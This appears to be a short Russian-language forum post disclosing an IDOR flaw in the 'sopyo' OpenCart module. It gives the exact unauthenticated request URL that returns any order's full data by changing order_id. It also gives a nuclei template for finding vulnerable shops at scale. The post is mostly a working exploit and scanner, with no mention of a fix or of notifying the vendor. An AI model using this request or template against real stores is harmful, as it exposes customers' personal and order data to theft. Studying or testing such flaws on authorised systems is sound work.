IDOR в модуле OpenCart

Нашёл IDOR в модуле OpenCart'a 
Инсталлов не так много(чуть больше 500), но всё же :). Позволяет получить всю информацию о заказе

http://{domain}/index.php?route=extension/module/sopyo/get_order_by_id&order_id=1

nuclei-шаблон

id: sopyo-idor
info:
  name: IDOR to get all orders data
  author: funny
  severity: critical
  tags: opencart,idor
http:
    - method: GET
      path: 
        - "{{BaseURL}}/index.php?route=extension/module/sopyo/get_order_by_id"
      matchers:
        - type: status
          status: 
            - 200
        - type: word
          part: body
          words:
            - "extension/module/sopyo.php"